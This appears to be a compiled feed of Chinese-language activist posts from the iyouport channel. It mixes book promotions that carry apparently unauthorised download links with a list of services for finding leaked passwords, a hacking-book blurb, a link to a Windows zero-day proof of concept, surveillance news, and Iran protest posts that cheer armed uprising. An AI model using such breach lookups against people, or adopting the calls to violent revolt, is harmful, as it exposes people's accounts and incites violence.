Ángel Sola Orbaiceta 涵盖了机械工程师的核心编程技术，重点是制作高质量的代码和利用自动化单元测试来实现无误差的实现。您将开发一个几何工具箱，用线条和形状来描绘工程问题；为机械模拟创建矢量图形和动画；并编写算法代码来进行复杂计算。作为毕业设计，您将结合这些课程建立一个完整的结构分析应用程序，以解决您在现场可能遇到的二维桁架问题。

您将学习到如何：

- 使用正则表达式来优雅地解析文件输入
- 用单元测试、封装和描述性名称来完善您的代码
- 使用Tkinter的Canvas部件在屏幕上绘制图像并创建动画
- 使用Cholesky分解算法解决线性方程组的问题
- 构建一个可视化的桁架结构应力和应变的应用程序

不要再依赖第三方软件了，在通往熟练的道路上没有捷径。通过这本书，您将可以磨练您的编程技巧，每次都能得到正确的结果。

下载：https://t.me/iyouport/8940

下载：https://www.patreon.com/posts/ti-sheng-ji-jie-56056694

开源情报工具—— 数据泄露搜索引擎。网络上有多种资源可让您搜索相关昵称和电子邮件地址以查找泄露的密码。比如下面这些：#tools #leaks #osint

leaklookup (Need Registration)

leakpeek (Free)

eyeofgod (Command **/pas**)

leakcheck (Enterprise Plan)

karma (GitHub)

darknet (Need TOR)

Arti 0.0.1已经发布：Rust中可嵌入的Tor客户端 ——

「图」

与C语言的Tor实现不同，Arti从第一天起就被设计成可嵌入的：这意味着有一个明确的、受支持的API 6，您可以用它来在自己的程序中通过Tor网络实现匿名通信。(请注意，这个API并不稳定，从现在到1.0.0之间可能会有很多问题）。https://forum.torproject.net/t/arti-0-0-1-is-released-an-embeddable-tor-client-in-rust/281

海盗湾的故事将被改编成电视剧 ——

「图」

海盗湾动荡的历史将被拍成一部六集的电视剧。这部瑞典作品计划于明年开始拍摄，将由瑞典电视台（SVT）播出。制片人将根据不同的内部人士的意见编写故事，但该网站的创始人并不在剧组中。海盗湾联合创始人彼得·桑德（Peter Sunde）说，他正在制作自己的关于该网站的电影项目。

海盗湾的成立和早期是互联网历史上一个耐人寻味的章节。

大多数盗版网站都不得不躲在暗处，而海盗湾的创始人是公众人物，他们是反抗者，对资本垄断的娱乐业发起公开的挑战。

虽然对于弗雷德里克·尼杰 (Fredrik Neij)、彼得 · 桑迪 (Peter Sunde) 和哥特弗里德 · 斯瓦托姆 (Gottfrid Svartholm) 来说，这一章并没有按计划结束，他们最终被判处监禁。但是，到那时，他们已经引发了一场数字和政治革命，其影响至今仍被全世界深刻感受。

在全世界都在致力于打击海盗和借口反海盗打击政治异议的大气候下，讲述真实的反抗故事，非常重要。

IYP的原网站中有关于 “知识产权” 的专栏，如果您对海盗湾反抗运动的原则了解不多，该栏目中的内容也许会有所帮助。这一板块收录在我们的 列表-2 中。

101 Linux commands Open-source eBook –

「图」

这是一本开源的电子书，里面有101条每个人都应该知道的Linux命令。无论您是DevOps/SysOps工程师、开发人员，或者只是一个Linux 爱好者，都很可能在您的职业生涯中的某个时刻用到它们。

💡 下载电子书，请使用以下链接：

Dark mode:

https://github.com/bobbyiliev/101-linux-commands-ebook/blob/main/ebook/en/export/101-linux-commands-ebook-dark.pdf

Light mode:

https://github.com/bobbyiliev/101-linux-commands-ebook/blob/main/ebook/en/export/101-linux-commands-ebook-light.pdf

《Ethical Hacking: A Hands-on Introduction to Breaking In》

「图」

道德黑客：入侵的实践——

「图」

这是一本帮您从头到尾入侵计算机系统的实践指南，从捕获流量到制作狡猾、成功的木马程序。

作为现代黑客技术的速成课程，这本2021年的新书已经被用来培养下一代的进攻性安全专家。在它的许多实践中，您将探索任何有抱负的渗透测试人员、安全研究员或恶意软件分析人员应必备的关键技能。

您将从基础知识开始：用ARP欺骗攻击来捕获受害者的网络流量，然后在 Wireshark 中查看它。从那里开始，您将部署反向shell，让您可以在受害者的电脑上远程运行命令，通过用 Python 编写您自己的勒索软件来加密文件，并伪造电子邮件，如钓鱼攻击中使用的电子邮件。

在高级章节中，您将学习如何摸索新的漏洞，制作木马和 rootkits，用SQL注入来入侵网站，并提升您的权限来提取证书。

您将使用各种专业的渗透测试工具，并学习用Python编写自己的工具，因为您要练习以下任务：

- 部署Metasploit框架的反向shell并将其嵌入到看似无害的文件中
- 使用Mimikatz捕捉企业Windows网络中的密码
- 扫描互联网上（几乎）所有的设备以寻找潜在的受害者
- 安装Linux rootkits，修改受害者的操作系统
- 执行高级跨站脚本（XSS）攻击，执行复杂的JavaScript有效载荷

在此过程中，您将获得相关计算技术的基础。发现先进的模糊器是如何在幕后工作的，学习互联网流量是如何被加密的，探索像 Drovorub 这样的民族国家恶意软件的内部机制，以及更多。

这本新书解决了其他书籍中不常涉及到的该领域的当代问题，并将帮助您在渗透测试中的职业生涯做好准备。最重要的是，您将能够像道德黑客一样思考：一个能够仔细分析系统并创造性地获得访问权限的人。

下载：https://t.me/iyouport/8958

下载：https://www.patreon.com/posts/58649128

塞浦路斯个人数据保护专员办公室对情报公司 WiSpear 征收了100万美元的罚款，因为该公司收集了拉纳卡机场的各种个人的移动数据。

WiSpear 公司在塞浦路斯的利马索尔注册。该公司由前以色列国防军（IDF）的人事官员 Tal Dilian 领导，专门提供连续的Wi-Fi拦截和监控解决方案。

在加入 WiSpear 之前，Dilian 还创建了臭名昭著的 Circles 公司，这也是一家监控技术公司，与“飞马”Pegasus 间谍软件的制造商 NSO 合作。他目前还经营着 Intellixa 公司，该公司专门为执法部门和情报机构提供网络间谍情报。

更多：

📌 关于以色列的间谍产业，更多内幕消息：《“只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部》。

《Vodka Politics Alcohol, Autocracy, and the Secret History of the Russian State》

「图」

用酒精巩固的专制政权——

「图」

俄罗斯因其伏特加酒及其极度沉醉的文化而闻名。但正如伏特加是许多俄罗斯人生活的核心一样，它也是理解俄罗斯历史和政治的核心。

在《伏特加政治》这本书中，马克·劳伦斯·施拉德认为，使人衰弱的社会酗酒并不是俄罗斯人的遗传密码，而是他们的专制政治制度，该制度长期以来将伏特加作为一种治国工具来挥舞。

通过一系列从俄罗斯沙皇国的开创者伊凡雷帝到弗拉基米尔·普京的历史调查，《伏特加政治》展示了俄罗斯国家本身的秘密历史—— 那是一部浸透了酒的历史。仔细研究（而不是否定）酒精在俄罗斯政治中的作用，可以对俄罗斯历史本身产生更细致的理解：从沙皇时期的宫廷阴谋到苏联和后苏联领导人的醉酒闹剧，都有大量的伏特加在其中。

除了生动的轶事，施拉德还搜寻了原始文件和档案证据，以回答具有

挑战性的历史问题：

俄罗斯的统治者是如何利用酒精来巩固其专制统治的？

酒精在沙皇政变中发挥了什么样的作用？

尼古拉二世命运多舛的禁酒令是布尔什维克革命的催化剂吗？

如果没有酒，苏联能成为一个世界强国吗？

伏特加政治是如何导致共产主义和公共卫生在20世纪90年代的崩溃的？

……

克里姆林宫如何克服伏特加酒的障碍，在未来产生更大的社会福利、繁荣和民主？

通过伏特加酒瓶看俄罗斯历史，有助于我们理解为什么“酒类问题”直到今天仍然对俄罗斯高层政治很重要—— 在这个问题在大多数其他现代国家被搁置了将近一个世纪之后。

事实上，认识和面对伏特加酒的破坏性政治遗产，可能是俄罗斯这一代领导人以及下一代领导人面临的最大政治挑战。

我们希望这本书的论述能为你带来创新的思路，关于，“茅台政治”尚未被挖掘到的内涵。期待您的智慧。

下载：https://t.me/iyouport/8965

下载：https://www.patreon.com/posts/yong-jiu-jing-gu-56302995

您可以用来监控您的防火墙或DNS服务器的 Monero 矿池列表——

「图」

您不可能总是扫描网络中的每一个设备以发现加密货币采矿的恶意软件（Linux boxes, IOT, App containers）。

但您可以检查您的DNS和防火墙日志，看看是否有连接到数量有限的矿池的情况。

部署加密货币挖矿的恶意软件已经变得越来越流行，越来越令人讨厌。而用那些常用扫描仪扫描网络中的每台设备并不总是可能。

好消息是，最流行的加密货币Monero（代币符号：XMR）的矿池是有限的。因此，这里有一份矿池清单，您可以用它来监控您的防火墙或DNS服务器。

https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/

Lamboozling攻击者：新一代的欺骗手段——

「图」

软件工程团队可以通过建立欺骗环境来利用攻击者的人性。即 反向社交工程。

欺骗是一种强大的弹性战术，它提供了对攻击行动的可观察性，转移了对生产系统的影响，并为弹性系统设计提供建议。

对欺骗系统的目标、约束和设计权衡的清晰理解，可以为软件开发、架构和运营方面的领导者和工程师提供一种新的战术，以建立更有弹性的系统，并致使攻击者陷入困惑。

下载：https://t.me/iyouport/8968

研究人员开发了一种名为 “Blacksmith” 的新技术，它能绕过现有的防御措施，恢复对现代DRAM设备的 Rowhammer 漏洞攻击，导致权限升级、内存损坏等。

Rowhammer 是指动态随机存取存储器（DRAM）中会发生的一种意外情况，这种意外会导致存储器单元泄露电荷并造成比特翻转（从1变成0、或从0变成1），这是由于DRAM单元的高密度造成的。

这里是一个视频介绍：

俄语勒索软件论坛正在对讲英语和中文普通话的威胁行为者产生热情——

在俄语网络犯罪论坛上正在酝酿一些不寻常的活动，黑客们似乎正在向他们的中国同行伸出合作之手。

这些吸引中国攻击者的尝试多见于黑客论坛RAMP。研究人员认为，最可能的原因是俄罗斯勒索软件团伙正在寻求与中国玩家结盟，对美国的目标进行网络攻击，共享漏洞，甚至为其勒索软件即服务（RaaS）业务引入新的专业技术。

https://www.flashpoint-intel.com/blog/ramp-ransomware-chinese-threat-actors/

《The Gray Lady Winked: How the New York Times's Misreporting, Distortions and Fabrications Radically Alter History》

「图」

主流媒体的错误、扭曲和捏造，如何从根本上改变了历史——

「图」

你认为一份报纸不可能需要对大规模谋杀负责吗？最好再想想 ……

作为旗舰级报刊，《纽约时报》是世界上最强大的新闻媒体。时报有数千名记者报道来自全球各个角落的事件，有能力影响战争、发动革命、塑造经济、并改变我们文化的本质。它不只是报道新闻：它还创造新闻。

这本2021年的新书拉开了这个杰出机构的帷幕，揭示了一个典型的人类组织，在这个组织中，意识形态、自我、权力和政治，如何与“展示事实”这一被认为是更卑微的需要相竞争。这本书有10个扣人心弦的章节，让读者大开眼界，揭示了曾经那些最大的新闻失败，它们的破坏性改变了历史进程。

这本书对后真相世界中媒体、权力和政治之间的纠结关系进行了必要的审视，以小说的方式揭示了一个独特的强大机构与真相之间的痛苦关系。

最重要的是，这本书提出了一个警示故事，表明当真相的守护者为了自我利益和意识形态而放弃这一神圣的价值时会发生什么—— 这对我们的未来和过去意味着什么。

请注意，这本新书仅仅是以纽约时报为例，要知道任何主流媒体在此的性质都是一样的。我相信作者和我们一样，对纽约时报都没有偏见，这里所讲述的只是事实。[[

「图」

iyouport

守门人作为认知杀手

如今这个时代，每个人都可以是出版商，只需要你注册一个博客账户甚至只是一个社交媒体账户；这种情况下人们会更容易理解传媒内部的问题 – 关于审查过滤的问题，媒体在审查过程中究竟考虑的是什么？没错，就和你发推时的考虑基本相似：关于如何才能更多地吸粉。 于是这种情况下只需要能认识自己的心态，就能更容易了解为什么业内会奉劝你不要指望从媒体中了解这个世界？为什么说审查并不是中宣部那么简单？为什么你不应该过多关注那些背后有大金主的企业媒体发布的内容？为什么你对媒体的爆料虽然很值得大众了解却得不到记者的关心？...

Read more

3 years ago · iyouport

|https://iyouport.substack.com/p/cf8?utm_source=substack&utm_campaign=post_embed&utm_mediun

如果您对主流媒体的巨大杀伤力感兴趣，我们的列表-3中汇总的一些内容也许对您有用，那更多是一些非常近期的案例。

下载：https://t.me/iyouport/8987

下载：https://www.patreon.com/posts/zhu-liu-mei-ti-56583937

上图1发布于9月27日; 上图2来自11月20日，中国。

这就是 #社交媒体情报 对统治阶级的用例之一，即 您的互联网足迹和人际关系被用作对您的信用打分的依据。其用例2和3您已经见识过了，即 少数派报告—提前维稳、连锅端、喝茶和监禁。

请在我们的页面搜索“社交媒体情报”了解防御措施。

看到一个来自中国网络的视频，据称是近期某地对 “反诈中心” 应用程序的推广。

统治阶级对信息引擎(即 叙事矩阵)的把控，是其绝对权力之体现的重要部分；但他们是否能真的做到完全把控，取决于公民的反抗智慧和创造力。

任何国家的当权者都擅长最充分地使用这种权力构建对他们有利的叙事矩阵。昨天我们提及了印度这场长达一年的反抗运动的成功，不久后我们将详细分析这场反抗运动中的经验，其中就涉及到反抗者打破叙事矩阵的努力—— 即 当大众能接收到的所有媒介都在抹黑抗议运动的时候，抗议者如何动员公众的支持。

目前我们看到了很多对 “反诈中心” 应用程序的质疑，但这些质疑大多在 “墙外”，这是一个主要难题。在全球互联网自由联盟中，在信息自由方面我们有一个原则，即：主动穿破封锁作为首选战略。也就是说，比如对于中国的墙(GFW)，在这一战略下会鼓励活动家致力于帮助公民直接获取被封锁的内容，而不是首先致力于要求人们都学会翻墙。翻墙技术作为工具之一，而不是战略目标。

换句话说，比如在反诈中心问题上，如果会翻墙的人读到了我们的技术审计报告，将其打印出来在自己的社区、家庭、小团队内分发，甚至只是口口相传，即符合上述战略。

如您所知，这需要一个基础，即 互信；您至少需要存在于一个可互信的小团体中。如果您没有，值得考虑这是为什么—— 造成您的孤独孤立的原因，就是维护统治阶级权力稳固的原因（《为什么我们互不信任？》 ）

📌再推一次《反诈中心应用程序危险在哪里？如何抵制？- 审计报告》。

《Modern Web Development on the Jamstack》

「图」

JAMStack的使用方法 ——

「图」

这份实用报告解释了如何在 Jamstack 上运行您的 Web 项目（从简单

的站点到复杂的应用程序），Jamstack 是一种现代 Web 架构，用于部署不需要传统源服务器的简单、安全和高度可扩展的站点。

Jamstack 开发者不需要安装或管理操作系统(如 Linux)；不需要管理安全策略(服务器防火墙)；不需要安装或管理应用程序数据库(如 MySQL)；开发者可以在不使用 HTTP (Web)服务器(如 Apache)的情况下部署 Web 站点或 Web 应用。

从中您可以了解到：

- 解决Web开发难题的方法
- 将前端与构建过程分离如何使维护更容易
- 在您的组织中采用Jamstack的最佳实践
- 还有一个案例研究，探讨了电子书出版商Smashing Magazine对此的实践

下载：https://t.me/iyouport/8993

下载：https://www.patreon.com/posts/jamstackde-shi-56789200

Secjuice与WEBGAP达成协议，为开源情报调查员提供他们基于云的“远程浏览器” 平台的12个月免费账户。

这家总部设在美国的公司提供了几个套餐，包括选择托管您自己的远程桌面。他们声称他们 “不会记录任何流量，也不会跟踪远程浏览器的任何使用情况”。

但是，必需提出一般的警告。当使用任何第三方服务时，无论是网站、基于网络的工具或任何类似的东西，要知道这里总是有一个额外的公司参与您的调查，以及获取您正在处理的数据。所以，在研究敏感话题时要注意这一点！

Link: https://www.webgap.io

如何建造一个低科技的太阳能电池板？——

「图」

George Cove，一位被遗忘的太阳能先驱，可能在贝尔实验室工程师发明硅电池的40年前就已经建造了一个高效的光伏电池板。如果证明可行，他的设计可能会导致更不复杂和更可持续的太阳能电池板：

https://www.lowtechmagazine.com/2021/10/how-to-build-a-low-tech-solar-panel.html

Tor是最大的匿名通信网络。最近的论文讨论了Tor的设计漏洞，并质疑Tor的有效性。这些漏洞越来越多地被去匿名化的攻击所利用。多年来，这些攻击越来越复杂和有效，增加了对混合攻击的需求，这些攻击可以部署在网络层、协议层或应用层。

Tor 的阴暗面已经引起了 NSA 和 FBI 等政府间谍组织的注意，他们认为 Tor 是一个特别吸引人的目标。斯诺登泄露的 NSA 文件显示，该组织一直在监视使用 Tor 但没有经验的人，这样的人可能不了解网络安全问题，并且 NSA 可以通过他们在 Tor 网络中站稳脚跟。现在政府组织甚至正在寻找一种方法来调整第四修正案的法律限制，以便能够合法地破解连接到 Tor 的用户。

与此同时，Tor 的日益普及导致网络上越来越多的去匿名化攻击的发展。这些攻击变得越来越先进和有效。其中最著名的攻击是 Sybil 攻击。

这些最近的发展引起了对Tor的匿名性和安全性的质疑。Tor不是百分之百的匿名，这并不令人震惊，但它可能远没有大多数人认为的那么安全。

这篇文章将分析已部署的Tor网络在各方面的脆弱性。这是一个相对全面的分析。

https://github.com/Attacks-on-Tor/Attacks-on-Tor

少数派报告：监视资本家正在研究你的 Facebook “好友”，以预测谁可能 “犯罪”——

「图」

你的 Facebook 帖子、你在 Instagram 上关注的人、以及你在社交媒体上互动最多的人是谁，这些数据都说明了什么？—— 是的，社交媒体情报。我们专门讲解过社交媒体情报如何被利用来抓捕异议、连锅端活动家组织、包括少数派报告—即 “提前维稳”。

现在，根据科技创业公司 Voyager Labs 的说法，这些信息可以帮助警方找出你是否已经或计划犯罪。

Voyager Labs 是近年来出现的**几十家**美国公司之一，这些公司都在使用社交媒体情报做情报分析，它们的技术旨在利用社交媒体来“预测犯罪”。

Voyager 从您的各种社交媒体资料中提取信息，通过重建您的整个数字生活—— 不论是公共的还是私人的—— 来帮助警方调查和监视人们。该公司声称，通过依靠人工智能，其软件可以破译人类的在线行为的含义和意义，并可以确定任何目标人是否 “已经犯罪”、“未来有可能犯罪”、或 “正在坚持某种意识形态”—— 您肯定知道最后一种是什么？没错，政审。

那么前两种就合适了吗？并非—— 想想看，您有多大的权力控制立法？最终是谁在确定什么是合法什么是非法？是您吗？还是您绝对信任和可以委托来代表您做决定的人？…… 现在您明白 “犯罪” 这个词的真正范围了？

并且，任何人应该有权根据您的意识形态倾向、甚至您的只言片语或酒后失态，去 “预测” 您的行为，以便提前维稳您吗？

中国更是将恐怖的的社交媒体情报重新包装成了所谓的 “舆情分析”，事实上它们是同一种东西，具有同样的邪恶。

最重要的是，正如我们一直在强调的，社交媒体情报是侵犯性的，虽然我们中大多数人都在公开自己的言论、身份、和人际关系，但是，我们中没有任何人赋予统治阶级随意取用我们这些信息的权力；而现在统治阶级显然无视我们，如果我们不抵抗，就等于默许了这种权力滥用，它只会不断膨胀直到吞没一切。

Revealed: the software that studies your Facebook friends to predict who may commit a crime

https://www.theguardian.com/us-news/2021/nov/17/police-surveillance-technology-voyager

洛杉矶警察局社交媒体监测文件：

https://www.brennancenter.org/our-work/research-reports/lapd-social-media-monitoring-documents

什么是社交媒体情报？你的推特如何成为抓捕你的理由？[[

「图」

iyouport

什么是社交媒体情报？你的推特如何成为抓捕你的理由？

最初，当人们知道警方和当局可以利用社交媒体上关于你的一切信息来对你实施抓捕和定罪时感到很惊讶。但这种对社交媒体的邪恶利用自社交媒体诞生之初就存在了，在任何国家都是如此。中国将这方面的手段委婉地称之为“舆情分析”只是一种掩盖其恶意令你放松警惕的小心机。 社交媒体情报（SOCMINT）是指允许公司或政府监控社交媒体网站（SNS）（如 Facebook 或 Twitter）的技术和技巧。SOCMINT 包括监视内容，例如发布的消息或图像，以及当有人使用社交媒体网络站点时生成的其他隐私数据。此信息涉及个人对个人、个人对群组、群组对群体、并包括私人和公共的所有互动…

Read more

3 years ago · 1 like · iyouport

|https://iyouport.substack.com/p/842?utm_source＝substack&utm_campaign＝post_embed&utm_mediun

数字追踪：政府间谍如何识别，跟踪和围捕异议人士[[

「图」

iyouport

数字追踪：政府间谍如何识别，跟踪和围捕异议人士

【注】首先强调：本文不关心参加国会大厦暴动的人，就如我们在研究俄罗斯黑客是如何被抓住的时并不是关心俄罗斯黑客。我们关心的是您！您不会参加国会大厦暴动，但您想要民主、您知道现状的不公正、您想要摆脱剥削和压迫，甚至，您只是想要自由地抱怨几声、只是围观了一场运动，甚至以上都不是，您仅仅是碰巧在一个时间里路经某个地方 …… 简单说，如果您没有足够的防护措施，只要政府想要抓到你，他们随时都可以，这和您做了或没做什么，完全无关。 我们不应该允许这种事发生。尤其是反抗者，不要轻易被抓住，这是行动主义的基础要义…

Read more

3 years ago · iyouport

|https://iyouport.substack.com/p/b5f?utm_source=substack&utm_campaign=post_embed&utm_mediun

社交媒体上的行动主义安全性：框架手册[[

「图」

iyouport

社交媒体上的行动主义安全性：框架手册

本文是框架手册，以最简单的语言描述敏感人士在社交媒体上的安全问题和防御方法；重要部分嵌入了详细介绍。如果您在您的团队培训中讲授本指南的内容，请将其中嵌入的部分展开，做详细讲述。 最常用的社交媒体平台是沟通、组织、动员和获取信息的有力工具。它们的商业模式是基于集中化的数据囤积、处理和分析。这种史无前例的数据聚合使上述所有好处得以实现，但其副作用是令史无前例的监视、操纵、和网络暴力变得易如反掌。 人们产生的数据往往是极其个人化的 — — 我们做的搜索、我们提出的问题、我们说的话或看的东西，这些都会产生数据；但数据也是我们什么时候做的事，和谁做的事，在什么情况下做的事的详细说明。所有这些汇集在一起，就构成了非常强大和有洞察力的私人形象，从社会、文化和政治角度来看，它是关于我们是谁、我们属于哪里、有什么习惯和偏好...

Read more

3 years ago · iyouport

|https://iyouport.substack.com/p/3a1?utm_source=substack&utm_campaign=post_embed&utm_mediun

中国在这方面是怎么做的：[[

「图」

iyouport

LR 这不是一场竞技表演：关于IYP为什么要采取开源情报

我们看到了越来越多的中国读者开始对开源情报产生兴趣，这真是令人兴奋。因为这也许代表着一种21世纪的公民反抗形式正在中国萌芽。 但是，我们希望能首先完整解释下这件事，关于IYP为什么要采

取开源情报，这事关对该反抗形式的理解和定位。 互联网上的几乎一切都可以是开源情报，也可以都不是开源情报 “开源” 这个词意味着您可以找到的任何东西。不论您的挖掘有多么深刻，它都符合 “开源” 的概念。甚至包括骗，都可以。比如采取袜子木偶账户接近目标人以此获得 “朋友” 级别的知情权限、甚或使用各种办法套取对方说出[暴露]可追踪的线索。…

Read more

3 years ago · 1 like · iyouport

|https://iyouport.substack.com/p/lr-iyp?utm_source=substack&utm_campaign=post_embed&utm_mediun

研究人员已经证明，不需要使用任何复杂或不寻常的工具，只需花费5美元，就可以克隆出指纹用于生物识别认证。由此产生的指纹可以骗过现代指纹传感器，如最新的 MacBook Pro 中使用的指纹传感器：

2019年1月的内容：《当每种生物识别都可以伪造时》。

威胁情报：Windows安装程序有一个被积极利用的零日漏洞，可以在 Windows 10、Windows 11 和 Windows Server 中获得管理员权限——

「图」

上周末，一位独立研究人员发现，微软11月的补丁并没有很好地关闭其中一个漏洞，即 CVE-2021–41379：它是 Windows 安装程序中的一个权限升级漏洞。稍后，在GitHub上也发布了一个名为 InstallerFileTakeOver 的PoC。

思科Talos实验室证实了这个PoC的可操作性，并表示他们已经发现了一个在现实环境中利用这一漏洞的恶意软件。

https://github.com/klinix5/InstallerFileTakeOver

伊朗抗议活动继续—11 月 26 日：伊斯法罕抗议者纵火焚烧了警用摩托车。

آذر: مردم اصفهان به موتور سیکلتهای پلیس را به آتش کشیدند ۵

1. Isfahan #Revolt

在伊斯法罕，最初争取水资源的抗议活动已经变成了全面的起义，政府除了不断地开枪和镇压之外别无其他自卫手段，政府将百倍偿还抗议者的鲜血。所有的压迫者，包括伊斯兰革命卫队、巴斯基、特种部队和他们的所有走狗，很快就会面临反叛者和自由战士的直接反应和行动。

اعتراض برای آب در اصفهان، تبدیل به یک شورش تمام عیار شده است، و حکومت دیگر تاکتیکی برای دفاع از خودش ندارد به جز گلوله و سرکوب خونین که نه دو چندان بلکه صد چندان جواب خون های ریخته شده را حکومت باز پس خواهد داد. و تمام سرکوبگران از جمله سپاهی، بسیجی، یگان ویژه، نوپو و تمام مهره های رنگارنگشان به زودی با جواب و کنش مستقیم عصیانگران و آزادی خواهان روبه رو خواهند شد.

1. Isfahan #Revolt

整个政府一无是处。低贱和受苦的人们停止工作，走上街头开始扔石头。没有权威和资本，政府就会被摧毁。这就足够了。

社会革命万岁，武装起义万岁！

تمام حکومت به مشتی سنگ بند هستند. کافیست فرودستان و رنجبران دست را از کار بکشند و سنگ را پرتاب کنند تا اقتدار و سرمایه نیست و نابود شود.

زنده باد انقلاب اجتماعی

زنده باد قیام مسلحانه

1. Isfahan #Revolt

支持伊斯法罕人民的斗争，并试图将其传播到所有城市—— 无政府主义时代联合会表示，将用尽一切力量进行斗争，同时随时跟进人民反抗伊朗伊斯兰共和国压迫性政权的消息。

伊朗地理区域的无政府主义者，作为广大民众中的激进分子，不仅一直支持和参与任何形式的街头斗争，而且还以各种形式和语种传播新闻。为了更好地访问和反思这场斗争的相关消息，我们呼吁公众以及伊斯法罕和沙赫雷克德的无政府主义者充分分享民众斗争的消息。

作为人民的一部分，我们希望周边城市的人民在这些斗争中团结起来，帮助这些群众斗争的延续，我们将集体智慧和团结力量视为拯救

之道。

主导该地区的生态危机，尤其是水资源危机，是由于各国政府的意识形态政策，尤其是 1957 年后的伊朗。统治阶级对经济、森林和自然土地的破坏、矿山的挖掘、地下水资源的显著减少、水坝、不同沙漠地区与水相关的工业的存在，只是对整个生态系统和当地居民造成致命打击的一小部分。

呼吁当地人民更多发送有关民众斗争的视频、图片和新闻—— 只关注抗议者，而不是当权者；不要政府，不要议会，也不要国籍。

حمایت از مبارزات مردم در اصفهان و تلاش براي گسترش آن در همه شهرها : دارد که تمام توان و نیروی خودش را برای مبارزه‌فدراسیون عصر آنارشیسم بیان می کارگر جمهوری اسلامی، به‌و همچنین بازتاب اخبار مبارزات مردمی علیه رژیم سرکوب بنددمی.

های منطقهٔ جغرافیایی موسوم به ایران، به عنوان بخشی رادیکال از عموم‌آنارشیست مردم، نه تنها همواره از هرنحوی از مبارزات خیابانی حمایت کرده و در آن سهیم کنندهای مختلف، نشر و پخش می‌های مختلف و زبان‌اند بلکه اخبار را به شکل‌بوده.

های‌ما برای دسترسی بهتر به اخبار مبارزات و بازتاب آن، از عموم مردم و آنارشیست خواهیم، اخبار مربوط به مبارزات مردمی را با ما در میان‌اصفهان و شهرکرد، می بگذارند.

ما به عنوان بخشی از مردم خواهان همبستگی مردم شهرهای مجاور در این مبارزات و پیوستگی و تداوم این مبارزات مردمی هستیم و خردجمعی و همبستگی را راه دانیم‌نجات می.

های‌بوم و بالاخص آب مسلط بر منطقهٔ مذکور ناشی از سیاست‌بحران زیست های پس از ۵۷های مختلف به ویژه جمهوری اسلامی در سال‌ایدئولوژیک حکومت ها و اراضی طبیعی، حفر معادن، کاهش‌است. اقتصاد مقاومتی، تخریب جنگل ها وجود صنایع وابسته به آب در مناطق‌چشمگیر منابع آب زیرزمینی، سدسازی ای ناچیز از ضربات مهلک وارده بر پیکره طبیعت و ساکنان این‌مختلف کویری گوشه بوم است‌زیست.

ویدیو، تصاویر و اخبار مبارزات مردمی را برای ما ارسال کنید.

خوام نه بدترنه بد می

نه پارلمان نه رهبر

شورا به جای دولت

نه ملیت نه قدرت

فدراسیون عصر آنارشیسم

1. Isfahan #Revolt #Anarchism

今天，12月26日，伊斯法罕人民已经封锁了道路，这是对政府切断互联网和暴力镇压的回应；

这一次，除了他们自己，人民不会向任何组织或机构寻求帮助，正如昨天伊斯法罕起义者所说的那样：「由我们来战斗，为战斗而战」。

امروز/ ۶ آذر/ اصفهان

مردم راه هارا بسته اند و جواب سرکوب و قطعی اینترنت در ۵ آذر را خواهند داد؛ این بار دیگر مردم از از هیچ شخص و نهادی جز خودشان کمک نمیخواهند و همانطور (که دیروز خود مردم شورشی اصفهان گفتند(ما آمدیم بجنگیم، بجگ تا بجنگیم

1. Isfahan #Revolt

《Rationality: What It Is, Why It Seems Scarce, Why It Matters》

「图」

什么是理性——

「图」

对自身或派系利益的 “理性” 追求，为何会造成社会中的不理性现象？

眼下的世界似乎正在逐渐丧失理性，大量的假新闻、攻击性言论和阴谋论在社交媒体散布，健康、民主和生态正在受到致命威胁。

面对 “人类本质上就不理性”、“人类大脑就是一堆幻想和错觉的集合” 之类的论调，史蒂芬·平克以新作《理性》回应：正是当下否定理性的人类，曾定义了何谓 “理性”，逻辑、批判性思考、因果关系等恰是人在演化过程中赖以存续的有利工具。在一些人认为 “理性” 乃过时概念、已然摇摇欲坠的时代，本书对其重要性给予了肯定。

平克也同时审视了理性的反面，探讨流言和阴谋论的本质、以“真实”和“普遍错误的看法”为核心的两种对立思维方式之间的区别，展示为何对自身或派系利益的“理性”追求，可能会造成社会中的不理性现象。他指出，理性是促进社会正义和道德发展的终极驱动力，将促使人类作出更好的决策。

下载：https://t.me/iyouport/9022

下载：https://www.patreon.com/posts/shi-yao-shi-li-57029204

1. Tool: **Wayback Search**

Lorenzo Romani创建了一个小工具，使您能够简单地从互联网档案馆的 Wayback Machine 上下载所有内容。运行这个工具，输入一个域名，它就会去下载它能找到的所有内容。

在下载完所有东西后，可以使用一个小的搜索工具在下载的内容中找到特定的关键词。该工具有 Python3 和Go版本，您可以选择。

Link: https://github.com/lorenzoromani1983/wayback-keyword-search

Obsidian 不仅仅是一个简单的 Markdown 编辑器，而是一个wiki风格的知识库工具，通过链接或标签，使用 Markdown 来创建包含信息的分层文件。不仅如此，它甚至可以将您写下的每一点信息可视化。

学习曲线可能有点陡峭，特别是如果您不习惯使用 Markdown 的话，但其功能很不错，也许值得您试试。

Link: https://obsidian.md

如上视频，巴勒斯坦的抗议者展示了一些很有意思的巷战技巧。#streetfighting #Palestine #tactics

意大利金融管理局逮捕了多名涉嫌经营 Telegram 频道的人，他们出售假的疫苗接种证书—— 即 疫苗护照。

这些人至少拥有35个频道，这些频道共吸引了超过10万名用户。

尽管近期已经有了一系列的逮捕，但这些伪造的疫苗接种证明的销售渠道仍在继续繁殖。

疫苗护照，即 所谓的 Greenpass 的强制性（就如中国的健康宝、行程码），已经在全球很多国家催生了不断增长的伪造产业。对此应该思考的可能并非如何打击这种造假产业本身，而是，人们为什么会热衷于造假？相比病毒，人们更害怕的是什么？

https://www.group-ib.com/media/gib-italy-green-pass/

📌 如果您错过了：「中国的社会信用评分体系的发展凸显了疫苗护照将如何迅速演变为一个险恶的数字监控系统」

俄罗斯—— 数以千计的私人视频监控摄像头被入侵，其中许多（有趣的是）位于酒店房间、按摩院、美发厅和脱毛沙龙，以及其他私人场所。

这类监视摄像机录制的视频现在都在网上被出售。专家说，在某些情况下，这些录像可能被用来勒索被拍摄到的人或摄像机的主人。保护你的设备可能很简单：只要更改出厂设置，使用强密码。然而，据专家称，这一基本规则常常被忽视。

1. Surveillance #cameras #Privacy

元数据作为杀手——

「图」

The Record 分享了一份 FBI 培训文件，该文件揭示了间谍部门的监视能力，详细说明了可以从加密的消息应用程序中提取哪些数据。

该文件列举了对多个加密消息应用程序的合法访问，包括 iMessage、Line、Signal、Telegram、Threema、Viber、WhatsApp、微信或 Wickr。如上图。

